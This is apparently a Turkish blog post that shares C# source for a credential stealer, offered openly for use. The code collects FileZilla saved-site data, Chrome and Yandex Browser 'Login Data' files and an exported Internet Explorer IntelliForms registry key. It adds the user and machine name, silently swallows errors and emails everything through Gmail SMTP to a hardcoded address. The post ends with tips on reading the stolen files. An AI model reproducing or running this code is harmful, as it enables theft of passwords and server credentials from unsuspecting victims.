C# Tarayıcı Bilgilerini Çekme


Arkadaşlar merhaba.
Boş vakti güzel değerlendiriyim dedim şöyle bişi hazırladım.
Kodlar ile başlıktaki uygulamaların kişisel bilgilerini çekip mail olarak alıyoruz. Güle güle kullanıyoruz.
//sizi ilgilendiren kısım
            string mailadresi = "cikiciki@gmail.com"; //gondericek mail adresi
            string mailsifresi = "teleley";       //gondericek mail sifresi
            string alicimail = "b4r1s@live.nl";     // alıcı mail adresi
            //sizi ilgilendiren kısım

            MailMessage mail = new MailMessage();
            SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
            mail.From = new MailAddress(mailadresi);
            mail.To.Add(alicimail);
            string icerik = "Mail İçeriği ; \n";        
            Attachment eklenti;
            try
            {
                eklenti = new Attachment(Environment.GetEnvironmentVariable("APPDATA") + "\\FileZilla\\sitemanager.xml");
                eklenti.Name = "filezilla.xml";
                mail.Attachments.Add(eklenti);
                icerik += "-Filezilla Kullanıcı Verileri \n";
            }
            catch { }
            try
            {
                eklenti = new Attachment(Environment.GetEnvironmentVariable("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data");
                eklenti.Name = "GoogleChrome_Login";
                mail.Attachments.Add(eklenti);
                icerik += "-Google Chrome Kullanıcı Verileri \n";
            }
            catch { }
            try
            {
                eklenti = new Attachment(Environment.GetEnvironmentVariable("LOCALAPPDATA") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data");
                eklenti.Name = "YandexBrowser_Login";
                mail.Attachments.Add(eklenti);
                icerik += "-Yandex Browser Kullanıcı Verileri \n";
            }
            catch { }
            try
            {
                Process proc = new Process();
                proc.StartInfo.UseShellExecute = false;
                proc = Process.Start("regedit.exe", "/e " + "\"" + Path.GetTempPath() + "\\ie_SFR.reg\"" + " " + "\"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\IntelliForms\"" + "");
                Thread.Sleep(75);
                eklenti = new Attachment(Path.GetTempPath() + "\\ie_SFR.reg");
                eklenti.Name = "InternetExplorer_Login.txt";
                mail.Attachments.Add(eklenti);
                icerik += "-Internet Explorer Kullanıcı Verileri \n";
            }
            catch { }
            icerik += "\n \n \nKullanıcı Adı :" + Environment.UserName + "\n" + "Bilgisayar Adı :" + Environment.UserDomainName + "\n" + "İşletim Sistemi : " + Environment.OSVersion.ToString();
            mail.Subject = Environment.UserName + " - " + Environment.UserDomainName + " - " + DateTime.Now.ToString();
            mail.Body = icerik;
            SmtpServer.Port = 587;
            SmtpServer.Credentials = new NetworkCredential(mailadresi, mailsifresi);
            SmtpServer.EnableSsl = true;
            SmtpServer.Send(mail);











Gmail smtp kullanarak atıyor. Size söyle bir mail geliyor ; 

Dosyaları nasıl kullanıcam dersenizde.
Filezilla içinde hepsi kabak gibi yazıyor , Chrome ve Yandex browser'ın "Login Data" dosyasıdır. IE'nin de reg. deki dosyasıdır.
Zaten nette ayrıntılarını bulabilirsiniz. Kolay gelsin.
(hotmail .reg vs. kabul etmediği için .txt olarak çevirdim onu. Login Data içinde uzantı istiyordu. kendisi .dat belirlemiş yine gönderirken)
alıntı:burdan

Yorumlar

Bu blogdaki popüler yayınlar

Asp.Net ile Mernisten veri Çekme